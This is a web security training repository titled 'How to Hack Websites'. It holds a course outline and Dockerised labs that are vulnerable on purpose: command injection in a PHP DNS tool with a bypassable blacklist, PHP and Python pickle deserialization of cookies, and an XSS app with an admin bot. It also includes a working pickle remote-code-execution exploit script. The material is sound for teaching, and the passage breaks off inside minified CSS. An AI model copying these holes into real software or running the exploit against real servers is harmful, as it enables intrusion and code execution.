├── README.md ├── homework └── README.md ├── lab ├── cmd-injection │ ├── dnstool-waf │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ └── index.php │ ├── dnstool │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ └── index.php │ └── docker-compose.yml ├── deserialization │ ├── _flags │ │ ├── cat │ │ ├── magic-cat │ │ └── pickle │ ├── cat │ │ ├── Dockerfile │ │ └── index.php │ ├── docker-compose.yml │ ├── magic-cat │ │ ├── Dockerfile │ │ └── index.php │ └── pickle │ │ ├── exploit.py │ │ ├── main.py │ │ └── uwsgi.ini ├── frontend │ └── xss │ │ ├── app │ │ ├── Dockerfile │ │ ├── main.py │ │ ├── static │ │ │ ├── bulma.min.css │ │ │ ├── sweetalert2.min.css │ │ │ └── sweetalert2.min.js │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ │ ├── bot │ │ ├── Dockerfile │ │ ├── run.sh │ │ └── xssbot.py │ │ └── docker-compose.yml ├── lfi │ ├── HakkaMD │ │ ├── flag │ │ └── src │ │ │ ├── index.php │ │ │ ├── module │ │ │ ├── home.php │ │ │ ├── list.php │ │ │ └── post.php │ │ │ └── phpinfo.php │ ├── docker-compose.yml │ └── meow-site │ │ ├── admin.php │ │ ├── inc │ │ ├── about.php │ │ └── home.php │ │ └── index.php ├── logic-vulns │ ├── app │ │ ├── main.py │ │ ├── templates │ │ │ ├── index.html │ │ │ └── item.html │ │ └── uwsgi.ini │ └── docker-compose.yml ├── sql-injection │ ├── docker-compose.yml │ ├── login-me-again │ │ └── app │ │ │ ├── main.py │ │ │ ├── templates │ │ │ └── index.html │ │ │ └── uwsgi.ini │ ├── login-me │ │ └── app │ │ │ ├── main.py │ │ │ ├── templates │ │ │ └── index.html │ │ │ └── uwsgi.ini │ └── meow │ │ ├── Dockerfile │ │ ├── init.sql │ │ └── src │ │ ├── database.php │ │ ├── index.php │ │ └── view.php ├── ssrf │ ├── SSRFrog │ │ ├── docker-compose.yml │ │ ├── flag │ │ │ ├── Dockerfile │ │ │ ├── app.js │ │ │ ├── package.json │ │ │ └── secret.js │ │ └── src │ │ │ ├── Dockerfile │ │ │ ├── app.js │ │ │ ├── bin │ │ │ └── www │ │ │ ├── frog.png │ │ │ ├── index.html │ │ │ └── package.json │ └── preview-card │ │ ├── docker-compose.yml │ │ └── src │ │ ├── flag.php │ │ ├── index.php │ │ └── preview.php └── ssti │ ├── docker-compose.yml │ ├── flag │ └── jinja │ ├── main.py │ └── uwsgi.ini └── slides ├── topic ├── Basic Injection (Code, Command, SQL).pdf ├── Deserialization.pdf ├── Fronted Security Basic (XSS, CSRF etc.).pdf ├── Frontend Security Content Security Policy.pdf ├── Frontend Security DOM Clobbering.pdf ├── Frontend Security Side Channel.pdf ├── JavaScript Prototype Pollution.pdf ├── Recon & Info leak.pdf ├── SQL Injection.pdf ├── SSRF.pdf ├── Upload & LFI.pdf └── Web Basic.pdf └── week ├── week1.pdf ├── week2.pdf └── week3.pdf /README.md: -------------------------------------------------------------------------------- 1 | # How to Hack Websites 2 | 3 | ## Videos 4 | 5 | - 初章:https://youtu.be/a5vrGYsKc_A 6 | - 續章:https://youtu.be/hWC-Evt-sBc 7 | - 終章:https://youtu.be/73uI7BK8k3g 8 | 9 | ## Topics 10 | 11 | ### 初章 12 | 13 | [Full slide](slides/week/week1.pdf) 14 | 15 | - Web & Web security introduction [[slide]](slides/topic/Web%20Basic.pdf) 16 | - Access control & Bussiness logic 17 | - Recon & Information leak [[slide]](slides/topic/Recon%20&%20Info%20leak.pdf) 18 | - Insecure Upload / Path traversal / LFI [[slide]](slides/topic/Upload%20&%20LFI.pdf) 19 | - Basic injection [[slide]](slides/topic/Basic%20Injection%20(Code,%20Command,%20SQL).pdf) 20 | - Code injection 21 | - Command injection 22 | - SQL injection: Basic 23 | 24 | 25 | ### 續章 26 | 27 | [Full slide](slides/week/week2.pdf) 28 | 29 | - SQL injection: Advanced 30 | - Union-based 31 | - Boolean-based 32 | - Other 33 | - Server-side request forgery (SSRF) 34 | - Insecure deserialization 35 | - Intro 36 | - Pickle 37 | 38 | ### 終章 39 | 40 | [Full slide](slides/week/week3.pdf) 41 | 42 | - Insecure deserialization [[slide]](slides/topic/Deserialization.pdf) 43 | - PHP 44 | - POP Chain 45 | - Misc (Java, .NET etc.) 46 | - Frontend security: Basic [[slide]](slides/topic/Fronted%20Security%20Basic%20(XSS,%20CSRF%20etc.).pdf) 47 | - Same-origin policy 48 | - CSRF 49 | - XSS 50 | - Frontend security: Content Security Policy (CSP) [[slide]](slides/topic/Frontend%20Security%20Content%20Security%20Policy.pdf) 51 | - Frontend security: Advanced 52 | - XS-Leak / CSS injection [[slide]](slides/topic/Frontend%20Security%20Side%20Channel.pdf) 53 | - DOM Clobbering [[slide]](slides/topic/Frontend%20Security%20DOM%20Clobbering.pdf) 54 | - Advanced injection 55 | - NoSQL injection 56 | - Server-side template injection (SSTI) 57 | - Misc 58 | - JavaScript prototype pollution [[slide]](slides/topic/JavaScript%20Prototype%20Pollution.pdf) 59 | - XXE 60 | 61 | 62 | ## Labs 63 | 64 | > 題目之後的 `數字` 代表的是 docker 對外通訊埠編號 65 | 66 | - [Basic](lab/logic-vulns/) 67 | - [x] Cat Shop `8100` 68 | - SQL injection 69 | - [x] Login me: Login bypass `8200` 70 | - [x] Login me again: UNION-based SQL injection `8201` 71 | - [Command injection](lab/cmd-injection/) 72 | - [x] DNS tool `8300` 73 | - [x] DNS tool: WAF edition `8301` 74 | - [LFI](lab/lfi/) 75 | - [x] Meow site: Basic LFI `8400` 76 | - [x] HakkaMD: LFI to RCE `8401` 77 | - [SSRF](lab/ssrf/) 78 | - [x] Web Preview Service: Use `gopher://` to forge a request `8500` 79 | - [x] SSRFrog: Bypass blacklist `8501` 80 | - [Deserialization](lab/deserialization/) 81 | - [x] Pickle `8600` 82 | - [x] Cat: Basic PHP unserialize `8601` 83 | - [x] Magic cat: POP chain `8602` 84 | - [SSTI](lab/ssti/) 85 | - [x] Jinja2 SSTI `8700` 86 | - [Frontend](lab/frontend/) 87 | - [x] XSS `8800` 88 | 89 | ## Homework 90 | 91 | - Imgura: Information Leak / Upload / LFI 92 | - DVD Screensaver: Path traversal / SQL injection / Signed Cookie 93 | - Profile Card: XSS / CSRF / CSP Bypass 94 | - Double SSTI: SSTI 95 | - Log me in: FINAL: SQL injection / Information Leak 96 | 97 | -------------------------------------------------------------------------------- /homework/README.md: -------------------------------------------------------------------------------- 1 | TBA -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install dnsutils -qy 5 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/flag: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/src/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | DNS Lookup Tool | WAF 13 | 14 | 15 | 16 | 17 |
18 |
19 |
20 |
21 |

DNS Lookup Tool 🔍 | WAF Edition

22 |
23 |
24 |
25 | 26 |
27 |
28 | 31 |
32 |
33 | 34 |
35 |

Lookup result:

36 |
37 |                             ', '<', "\n", 'flag'];
39 |                             $is_input_safe = true;
40 |                             foreach ($blacklist as $bad_word)
41 |                                 if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;
42 | 
43 |                             if ($is_input_safe)
44 |                                 system("host '" . $_POST['name'] . "';");
45 |                             else
46 |                                 echo "HACKER!!!";
47 |                             ?>
48 |                             
49 |
50 | 51 |
52 | Source Code 53 |
54 |
55 |
56 |
57 | 58 | 59 | -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install dnsutils -qy 5 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool/flag: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool/src/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | DNS Lookup Tool | Baby 13 | 14 | 15 | 16 | 17 |
18 |
19 |
20 |
21 |

DNS Lookup Tool 🔍

22 |
23 |
24 |
25 | 26 |
27 |
28 | 31 |
32 |
33 | 34 |
35 |

Lookup result:

36 |
37 |
38 | 39 |
40 | Magic | Source Code 41 |
42 | 47 |
48 |
49 |
50 | 51 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /lab/cmd-injection/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | dnstool: 5 | build: ./dnstool 6 | volumes: 7 | - ./dnstool/src/:/var/www/html/ 8 | - ./dnstool/flag:/flag_44ebd3936a907d59:ro 9 | ports: 10 | - 8300:80/tcp 11 | 12 | dnstool-waf: 13 | build: ./dnstool-waf 14 | volumes: 15 | - ./dnstool-waf/src/:/var/www/html/ 16 | - ./dnstool-waf/flag:/flag_f4b9830a65d9e956:ro 17 | ports: 18 | - 8301:80/tcp -------------------------------------------------------------------------------- /lab/deserialization/_flags/cat: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/deserialization/_flags/magic-cat: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/deserialization/_flags/pickle: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/deserialization/cat/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install cowsay -qy 5 | RUN cp /usr/games/cowsay /usr/local/bin/cowsay 6 | # RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" 7 | -------------------------------------------------------------------------------- /lab/deserialization/cat/index.php: -------------------------------------------------------------------------------- 1 | name = $name; 10 | } 11 | function __wakeup() 12 | { 13 | echo "
";
14 |         system("cowsay 'Welcome back, $this->name'");
15 |         echo "
"; 16 | } 17 | } 18 | 19 | if (!isset($_COOKIE['cat_session'])) { 20 | $cat = new Cat("cat_" . rand(0, 0xffff)); 21 | setcookie('cat_session', base64_encode(serialize($cat))); 22 | } else { 23 | $cat = unserialize(base64_decode($_COOKIE['cat_session'])); 24 | } 25 | ?> 26 |

Hello, name ?>.

27 | source code 28 | -------------------------------------------------------------------------------- /lab/deserialization/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.5" 2 | 3 | services: 4 | pickle: 5 | image: tiangolo/uwsgi-nginx-flask:python3.8 6 | volumes: 7 | - ./pickle/:/app 8 | - ./_flags/pickle:/flag_5fb2acebf1d0c558 9 | ports: 10 | - 8600:80/tcp 11 | cat: 12 | build: ./cat 13 | volumes: 14 | - ./cat/:/var/www/html/ 15 | - ./_flags/cat:/flag_5fb2acebf1d0c558 16 | ports: 17 | - 8601:80/tcp 18 | magic-cat: 19 | image: php:7.4-apache 20 | volumes: 21 | - ./magic-cat/:/var/www/html/ 22 | - ./_flags/magic-cat:/flag_23907376917516c8 23 | ports: 24 | - 8602:80/tcp -------------------------------------------------------------------------------- /lab/deserialization/magic-cat/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install cowsay -qy 5 | RUN cp /usr/games/cowsay /usr/local/bin/cowsay 6 | # RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" 7 | -------------------------------------------------------------------------------- /lab/deserialization/magic-cat/index.php: -------------------------------------------------------------------------------- 1 | alert('MAGIC, $spell!');"; 9 | } 10 | } 11 | 12 | // Useless class? 13 | class Caster 14 | { 15 | public $cast_func = 'intval'; 16 | function cast($val) 17 | { 18 | return ($this->cast_func)($val); 19 | } 20 | } 21 | 22 | 23 | class Cat 24 | { 25 | public $magic; 26 | public $spell; 27 | function __construct($spell) 28 | { 29 | $this->magic = new Magic(); 30 | $this->spell = $spell; 31 | } 32 | function __wakeup() 33 | { 34 | echo "Cat Wakeup!\n"; 35 | $this->magic->cast($this->spell); 36 | } 37 | } 38 | 39 | if (isset($_GET['spell'])) { 40 | $cat = new Cat($_GET['spell']); 41 | } else if (isset($_COOKIE['cat'])) { 42 | echo "Unserialize...\n"; 43 | $cat = unserialize(base64_decode($_COOKIE['cat'])); 44 | } else { 45 | $cat = new Cat("meow-meow-magic"); 46 | } 47 | ?> 48 |
49 | This is your 🐱:
50 | 
51 | 
52 | 53 |

Usage:

54 |

/?source

55 |

/?spell=the-spell-of-your-cat

56 | 57 | -------------------------------------------------------------------------------- /lab/deserialization/pickle/exploit.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import base64 3 | import os 4 | 5 | command = 'id' 6 | 7 | 8 | class Exp: 9 | def __reduce__(self): 10 | return (__import__('subprocess').getoutput, (command,)) 11 | 12 | 13 | cookie = base64.b64encode(pickle.dumps({"age": 1, "name": Exp()})).decode() 14 | os.system(f"curl http://h4ck3r.quest:8400/ --cookie 'session={cookie}'") -------------------------------------------------------------------------------- /lab/deserialization/pickle/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, make_response, redirect, send_file 2 | import base64 3 | import pickle 4 | 5 | app = Flask(__name__) 6 | 7 | 8 | @app.route("/sauce") 9 | def sauce(): 10 | return send_file(__file__, mimetype="text/plain") 11 | 12 | 13 | @app.route("/") 14 | def main(): 15 | session = request.cookies.get("session") 16 | if session == None: 17 | return '
' +\ 18 | '

Name:

' +\ 19 | '

Age:

' +\ 20 | '

Source code' 21 | 22 | else: 23 | user = pickle.loads(base64.b64decode(session)) 24 | return f'

Name: {user["name"]}

Age: {user["age"]}

' 25 | 26 | 27 | @app.route("/login", methods=['POST']) 28 | def login(): 29 | user = base64.b64encode(pickle.dumps({ 30 | "name": request.form.get('name'), 31 | "age": int(request.form.get('age')) 32 | })) 33 | resp = make_response(redirect('/')) 34 | resp.set_cookie("session", user) 35 | return resp 36 | -------------------------------------------------------------------------------- /lab/deserialization/pickle/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app 4 | uid = 1001 5 | gid = 1001 -------------------------------------------------------------------------------- /lab/frontend/xss/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8 2 | RUN pip3 install redis rq -------------------------------------------------------------------------------- /lab/frontend/xss/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, redirect, session 2 | import json 3 | import base64 4 | import secrets 5 | import os 6 | 7 | from redis import Redis 8 | from rq import Queue 9 | 10 | app = Flask(__name__) 11 | app.queue = Queue(connection=Redis('xss-bot')) 12 | app.secret_key = secrets.token_bytes() 13 | 14 | users = { 15 | 'guest': 'guest', 16 | 'admin': os.getenv("PASSWORD") 17 | } 18 | 19 | 20 | @app.route("/") 21 | def main(): 22 | message = request.args.get('message') 23 | _type = request.args.get('type', "info") 24 | available_type = ['success', 'info', 'error', 'warning'] 25 | msg_type = _type if _type in available_type else "info" 26 | if message: 27 | data = json.dumps({ 28 | "icon": msg_type, 29 | "titleText": message, 30 | "timer": 3000, 31 | "showConfirmButton": False, 32 | "timerProgressBar": True, 33 | }) 34 | else: 35 | data = "null" 36 | return render_template("index.html", message=data) 37 | 38 | 39 | @app.route("/login", methods=['POST']) 40 | def login(): 41 | username, password = request.form.get("username"), request.form.get("password") 42 | if username in users: 43 | if users[username] == password: 44 | session['user'] = request.form.get("username") 45 | return redirect("/getflag") 46 | return redirect("/?type=error&message=Password Incorrect Q_Q") 47 | return redirect("/?type=error&message=User not found.") 48 | 49 | 50 | @app.route("/getflag") 51 | def flag(): 52 | if 'user' in session: 53 | if session['user'] == 'admin': 54 | return 'FLAG{lab_flag}' 55 | return f'

嗨,{session["user"]}。只有 admin 能看到 FLAG 喔 :D

' +\ 56 | 'Logout' 57 | return "wut?" 58 | 59 | 60 | @app.route("/report", methods=['GET', 'POST']) 61 | def report(): 62 | if request.method == 'POST': 63 | url = str(request.form.get('url')) 64 | if url.startswith(request.url_root): 65 | app.queue.enqueue('xssbot.browse', url) 66 | return 'Reported.' 67 | return f'[error] url should start with "{request.url_root}"' 68 | 69 | return f''' 70 |
71 | 72 | 73 |
74 | '''.strip() 75 | 76 | 77 | 78 | @app.route("/logout") 79 | def logout(): 80 | session.clear() 81 | return redirect("/?message=Logout success!") 82 | 83 | 84 | if __name__ == '__main__': 85 | app.run(debug=True) 86 | -------------------------------------------------------------------------------- /lab/frontend/xss/app/static/sweetalert2.min.css: -------------------------------------------------------------------------------- 1 | .swal2-popup.swal2-toast{flex-direction:column;align-items:stretch;width:auto;padding:1.25em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;margin:0 .625em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container{padding:.625em 0 0}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex:1;flex-basis:auto!important;align-self:stretch;width:auto;height:2.2em;height:auto;margin:0 .3125em;margin-top:.3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:.125em .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(100,150,200,.5)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:5px;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#2778c4;color:#fff;font-size:1em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#d14529;color:#fff;font-size:1em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#757575;color:#fff;font-size:1em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:5px;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close:focus{outline:0;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto}.swal2-validation-message{align-items:center;justify-content:center;margin:0 -2.7em;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error 